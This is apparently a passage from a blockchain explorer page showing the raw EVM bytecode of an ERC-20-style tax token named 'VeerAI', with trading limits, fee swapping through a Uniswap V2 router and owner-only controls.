8015611c1d5750600c54600d54115b8015611c265750805b15611c5d57601054821115611c5357611c52611c4d86611c4885601154612046565b612046565b61205f565b5b611c5c476122f7565b5b50505b6000821115611d6457611cbb82600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236390919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d5b919061263e565b60405180910390a35b611db681600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c190919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5d611e0f83856123c190919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611f0285876123c190919063ffffffff16565b604051611f0f919061263e565b60405180910390a35050505050565b6000838311158290611f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5d91906124fe565b60405180910390fd5b5060008385611f759190613244565b9050809150509392505050565b6000808303611f945760009050611ff6565b60008284611fa29190612a79565b9050828482611fb191906132a7565b14611ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe89061334a565b60405180910390fd5b809150505b92915050565b600061203e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061240b565b905092915050565b60008183116120555782612057565b815b905092915050565b6001601360156101000a81548160ff02191690831515021790555060008103156122d957601360149054906101000a900460ff16156122d9576000600267ffffffffffffffff8111156120b5576120b461336a565b5b6040519080825280602002602001820160405280156120e35781602001602082028036833780820191505090505b50905030816000815181106120fb576120fa613399565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121c69190612b3c565b816001815181106121da576121d9613399565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061224130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111af565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122a5959493929190613486565b600060405180830381600087803b1580156122bf57600080fd5b505af11580156122d3573d6000803e3d6000fd5b50505050505b6000601360156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561235f573d6000803e3d6000fd5b5050565b6000808284612372919061315c565b9050838110156123b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ae9061352c565b60405180910390fd5b8091505092915050565b600061240383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f1e565b905092915050565b60008083118290612452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244991906124fe565b60405180910390fd5b506000838561246191906132a7565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124a857808201518184015260208101905061248d565b60008484015250505050565b6000601f19601f8301169050919050565b60006124d08261246e565b6124da8185612479565b93506124ea81856020860161248a565b6124f3816124b4565b840191505092915050565b6000602082019050818103600083015261251881846124c5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061255082612525565b9050919050565b61256081612545565b811461256b57600080fd5b50565b60008135905061257d81612557565b92915050565b6000819050919050565b61259681612583565b81146125a157600080fd5b50565b6000813590506125b38161258d565b92915050565b600080604083850312156125d0576125cf612520565b5b60006125de8582860161256e565b92505060206125ef858286016125a4565b9150509250929050565b60008115159050919050565b61260e816125f9565b82525050565b60006020820190506126296000830184612605565b92915050565b61263881612583565b82525050565b6000602082019050612653600083018461262f565b92915050565b6000819050919050565b600061267e61267961267484612525565b612659565b612525565b9050919050565b600061269082612663565b9050919050565b60006126a282612685565b9050919050565b6126b281612697565b82525050565b60006020820190506126cd60008301846126a9565b92915050565b6000806000606084860312156126ec576126eb612520565b5b60006126fa8682870161256e565b935050602061270b8682870161256e565b925050604061271c868287016125a4565b9150509250925092565b600060ff82169050919050565b61273c81612726565b82525050565b60006020820190506127576000830184612733565b92915050565b61276681612545565b82525050565b6000602082019050612781600083018461275d565b92915050565b60006020828403121561279d5761279c612520565b5b60006127ab8482850161256e565b91505092915050565b600080604083850312156127cb576127ca612520565b5b60006127d98582860161256e565b92505060206127ea8582860161256e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061282a602083612479565b9150612835826127f4565b602082019050919050565b600060208201905081810360008301526128598161281d565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612896601783612479565b91506128a182612860565b602082019050919050565b600060208201905081810360008301526128c581612889565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156129525780860481111561292e5761292d6128cc565b5b600185161561293d5780820291505b808102905061294b856128fb565b9450612912565b94509492505050565b60008261296b5760019050612a27565b816129795760009050612a27565b816001811461298f5760028114612999576129c8565b6001915050612a27565b60ff8411156129ab576129aa6128cc565b5b8360020a9150848211156129c2576129c16128cc565b5b50612a27565b5060208310610133831016604e8410600b84101617156129fd5782820a9050838111156129f8576129f76128cc565b5b612a27565b612a0a8484846001612908565b92509050818404811115612a2157612a206128cc565b5b81810290505b9392505050565b6000612a3982612583565b9150612a4483612726565b9250612a717fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461295b565b905092915050565b6000612a8482612583565b9150612a8f83612583565b9250828202612a9d81612583565b91508282048414831517612ab457612ab36128cc565b5b5092915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000612af1601683612479565b9150612afc82612abb565b602082019050919050565b60006020820190508181036000830152612b2081612ae4565b9050919050565b600081519050612b3681612557565b92915050565b600060208284031215612b5257612b51612520565b5b6000612b6084828501612b27565b91505092915050565b6000604082019050612b7e600083018561275d565b612b8b602083018461275d565b9392505050565b6000819050919050565b6000612bb7612bb2612bad84612b92565b612659565b612583565b9050919050565b612bc781612b9c565b82525050565b600060c082019050612be2600083018961275d565b612bef602083018861262f565b612bfc6040830187612bbe565b612c096060830186612bbe565b612c16608083018561275d565b612c2360a083018461262f565b979650505050505050565b600081519050612c3d8161258d565b92915050565b600080600060608486031215612c5c57612c5b612520565b5b6000612c6a86828701612c2e565b9350506020612c7b86828701612c2e565b9250506040612c8c86828701612c2e565b9150509250925092565b6000604082019050612cab600083018561275d565b612cb8602083018461262f565b9392505050565b612cc8816125f9565b8114612cd357600080fd5b50565b600081519050612ce581612cbf565b92915050565b600060208284031215612d0157612d00612520565b5b6000612d0f84828501612cd6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d74602483612479565b9150612d7f82612d18565b604082019050919050565b60006020820190508181036000830152612da381612d67565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e06602283612479565b9150612e1182612daa565b604082019050919050565b60006020820190508181036000830152612e3581612df9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e98602583612479565b9150612ea382612e3c565b604082019050919050565b60006020820190508181036000830152612ec781612e8b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f2a602383612479565b9150612f3582612ece565b604082019050919050565b60006020820190508181036000830152612f5981612f1d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fbc602983612479565b9150612fc782612f60565b604082019050919050565b60006020820190508181036000830152612feb81612faf565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000613028601383612479565b915061303382612ff2565b602082019050919050565b600060208201905081810360008301526130578161301b565b9050919050565b7f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b60006130ba602483612479565b91506130c58261305e565b604082019050919050565b600060208201905081810360008301526130e9816130ad565b9050919050565b7f4578636565647320746865205f6d617854782e00000000000000000000000000600082015250565b6000613126601383612479565b9150613131826130f0565b602082019050919050565b6000602082019050818103600083015261315581613119565b9050919050565b600061316782612583565b915061317283612583565b925082820190508082111561318a576131896128cc565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006131c6601a83612479565b91506131d182613190565b602082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b600061320782612583565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613239576132386128cc565b5b600182019050919050565b600061324f82612583565b915061325a83612583565b9250828203905081811115613272576132716128cc565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132b282612583565b91506132bd83612583565b9250826132cd576132cc613278565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613334602183612479565b915061333f826132d8565b604082019050919050565b6000602082019050818103600083015261336381613327565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133fd81612545565b82525050565b600061340f83836133f4565b60208301905092915050565b6000602082019050919050565b6000613433826133c8565b61343d81856133d3565b9350613448836133e4565b8060005b838110156134795781516134608882613403565b975061346b8361341b565b92505060018101905061344c565b5085935050505092915050565b600060a08201905061349b600083018861262f565b6134a86020830187612bbe565b81810360408301526134ba8186613428565b90506134c9606083018561275d565b6134d6608083018461262f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613516601b83612479565b9150613521826134e0565b602082019050919050565b6000602082019050818103600083015261354581613509565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acebd0b877c787bffefa11fad6b294451d565293cd2092e74c3050707b3ed82664736f6c63430008130033000000000000000000000000fd69a0f6b97254c028448c3df4f75dcb32706d06
Deployed Bytecode
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb14610403578063b83e645d14610440578063c876d0b914610457578063dd62ed3e14610482578063e0f83b16146104bf578063f363eebe146104d657610140565b8063715018a6146103405780637830b0721461035757806382247ec0146103825780638da5cb5b146103ad57806395d89b41146103d857610140565b806318160ddd116100fd57806318160ddd1461021a57806323b872dd14610245578063313ce5671461028257806349bd5a5e146102ad5780635392e6aa146102d857806370a082311461030357610140565b806301b92f6d1461014557806306fdde031461015c578063095ea7b3146101875780630faee56f146101c45780631694505e146101ef57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104ed565b005b34801561016857600080fd5b5061017161060a565b60405161017e91906124fe565b60405180910390f35b34801561019357600080fd5b506101ae60048036038101906101a991906125b9565b610647565b6040516101bb9190612614565b60405180910390f35b3480156101d057600080fd5b506101d9610665565b6040516101e6919061263e565b60405180910390f35b3480156101fb57600080fd5b5061020461066b565b60405161021191906126b8565b60405180910390f35b34801561022657600080fd5b5061022f610691565b60405161023c919061263e565b60405180910390f35b34801561025157600080fd5b5061026c600480360381019061026791906126d3565b6106b5565b6040516102799190612614565b60405180910390f35b34801561028e57600080fd5b5061029761078e565b6040516102a49190612742565b60405180910390f35b3480156102b957600080fd5b506102c2610797565b6040516102cf919061276c565b60405180910390f35b3480156102e457600080fd5b506102ed6107bd565b6040516102fa919061263e565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190612787565b6107c3565b604051610337919061263e565b60405180910390f35b34801561034c57600080fd5b5061035561080c565b005b34801561036357600080fd5b5061036c61095f565b604051610379919061263e565b60405180910390f35b34801561038e57600080fd5b50610397610965565b6040516103a4919061263e565b60405180910390f35b3480156103b957600080fd5b506103c261096b565b6040516103cf919061276c565b60405180910390f35b3480156103e457600080fd5b506103ed610994565b6040516103fa91906124fe565b60405180910390f35b34801561040f57600080fd5b5061042a600480360381019061042591906125b9565b6109d1565b6040516104379190612614565b60405180910390f35b34801561044c57600080fd5b506104556109ef565b005b34801561046357600080fd5b5061046c610b3a565b6040516104799190612614565b60405180910390f35b34801561048e57600080fd5b506104a960048036038101906104a491906127b4565b610b4d565b6040516104b6919061263e565b60405180910390f35b3480156104cb57600080fd5b506104d4610bd4565b005b3480156104e257600080fd5b506104eb610cf5565b005b6104f56111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610582576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057990612840565b60405180910390fd5b601360149054906101000a900460ff16156105d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c9906128ac565b60405180910390fd5b6001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b60606040518060400160405280600681526020017f5665657241490000000000000000000000000000000000000000000000000000815250905090565b600061065b6106546111a7565b84846111af565b6001905092915050565b60115481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a6106a19190612a2e565b6305f5e1006106b09190612a79565b905090565b60006106c2848484611378565b610783846106ce6111a7565b61077e8560405180606001604052806028815260200161354d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107346111a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1e9092919063ffffffff16565b6111af565b600190509392505050565b60006012905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108146111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890612840565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b600f5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5665657241490000000000000000000000000000000000000000000000000000815250905090565b60006109e56109de6111a7565b8484611378565b6001905092915050565b6109f76111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7b90612840565b60405180910390fd5b6012600a610a929190612a2e565b6305f5e100610aa19190612a79565b600e819055506012600a610ab59190612a2e565b6305f5e100610ac49190612a79565b600f819055506000600560006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610b149190612a2e565b6305f5e100610b239190612a79565b604051610b30919061263e565b60405180910390a1565b600560009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bdc6111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6090612840565b60405180910390fd5b60004711610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca390612b07565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610cf2573d6000803e3d6000fd5b50565b610cfd6111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190612840565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610e149190612a2e565b6305f5e100610e239190612a79565b6111af565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb99190612b3c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f669190612b3c565b6040518363ffffffff1660e01b8152600401610f83929190612b69565b6020604051808303816000875af1158015610fa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc69190612b3c565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061104f306107c3565b60008061105a61096b565b426040518863ffffffff1660e01b815260040161107c96959493929190612bcd565b60606040518083038185885af115801561109a573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110bf9190612c43565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611161929190612c96565b6020604051808303816000875af1158015611180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a49190612ceb565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361121e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121590612d8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361128d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128490612e1c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161136b919061263e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de90612eae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90612f40565b60405180910390fd5b60008111611499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149090612fd2565b60405180910390fd5b6000808290506114a761096b565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561151557506114e561096b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561154d57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611c6057600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115f65750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561164b57601360149054906101000a900460ff1661164a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116419061303e565b60405180910390fd5b5b600560009054906101000a900460ff16156117d857601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561170c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117d75743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611789906130d0565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156118835750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118d95750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199457600e54831115611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a9061313c565b60405180910390fd5b600f5483611930866107c3565b61193a919061315c565b111561197b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611972906131dc565b60405180910390fd5b600d600081548092919061198e906131fc565b91905055505b6119d060646119c2600854600d54116119af576006546119b3565b600a545b86611f8290919063ffffffff16565b611ffc90919063ffffffff16565b9150601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a5b57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611b5c57600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611ad757611acc83611ac7600a54601054612046565b612046565b905060009150611b5b565b600e54831115611b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b139061313c565b60405180910390fd5b611b586064611b4a600954600d5411611b3757600754611b3b565b600b545b86611f8290919063ffffffff16565b611ffc90919063ffffffff16565b91505b5b6000611b67306107c3565b90506000600c54600d54118015611b8a5750611b8585601054612046565b601054145b9050601360159054906101000a900460ff16158015611bf65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8015611c0e5750601360169054906101000a900460ff165b8015611c1d5750600c54600d54115b8015611c265750805b15611c5d57601054821115611c5357611c52611c4d86611c4885601154612046565b612046565b61205f565b5b611c5c476122f7565b5b50505b6000821115611d6457611cbb82600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236390919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d5b919061263e565b60405180910390a35b611db681600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c190919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5d611e0f83856123c190919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611f0285876123c190919063ffffffff16565b604051611f0f919061263e565b60405180910390a35050505050565b6000838311158290611f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5d91906124fe565b60405180910390fd5b5060008385611f759190613244565b9050809150509392505050565b6000808303611f945760009050611ff6565b60008284611fa29190612a79565b9050828482611fb191906132a7565b14611ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe89061334a565b60405180910390fd5b809150505b92915050565b600061203e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061240b565b905092915050565b60008183116120555782612057565b815b905092915050565b6001601360156101000a81548160ff02191690831515021790555060008103156122d957601360149054906101000a900460ff16156122d9576000600267ffffffffffffffff8111156120b5576120b461336a565b5b6040519080825280602002602001820160405280156120e35781602001602082028036833780820191505090505b50905030816000815181106120fb576120fa613399565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121c69190612b3c565b816001815181106121da576121d9613399565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061224130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111af565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122a5959493929190613486565b600060405180830381600087803b1580156122bf57600080fd5b505af11580156122d3573d6000803e3d6000fd5b50505050505b6000601360156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561235f573d6000803e3d6000fd5b5050565b6000808284612372919061315c565b9050838110156123b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ae9061352c565b60405180910390fd5b8091505092915050565b600061240383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f1e565b905092915050565b60008083118290612452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244991906124fe565b60405180910390fd5b506000838561246191906132a7565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124a857808201518184015260208101905061248d565b60008484015250505050565b6000601f19601f8301169050919050565b60006124d08261246e565b6124da8185612479565b93506124ea81856020860161248a565b6124f3816124b4565b840191505092915050565b6000602082019050818103600083015261251881846124c5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061255082612525565b9050919050565b61256081612545565b811461256b57600080fd5b50565b60008135905061257d81612557565b92915050565b6000819050919050565b61259681612583565b81146125a157600080fd5b50565b6000813590506125b38161258d565b92915050565b600080604083850312156125d0576125cf612520565b5b60006125de8582860161256e565b92505060206125ef858286016125a4565b9150509250929050565b60008115159050919050565b61260e816125f9565b82525050565b60006020820190506126296000830184612605565b92915050565b61263881612583565b82525050565b6000602082019050612653600083018461262f565b92915050565b6000819050919050565b600061267e61267961267484612525565b612659565b612525565b9050919050565b600061269082612663565b9050919050565b60006126a282612685565b9050919050565b6126b281612697565b82525050565b60006020820190506126cd60008301846126a9565b92915050565b6000806000606084860312156126ec576126eb612520565b5b60006126fa8682870161256e565b935050602061270b8682870161256e565b925050604061271c868287016125a4565b9150509250925092565b600060ff82169050919050565b61273c81612726565b82525050565b60006020820190506127576000830184612733565b92915050565b61276681612545565b82525050565b6000602082019050612781600083018461275d565b92915050565b60006020828403121561279d5761279c612520565b5b60006127ab8482850161256e565b91505092915050565b600080604083850312156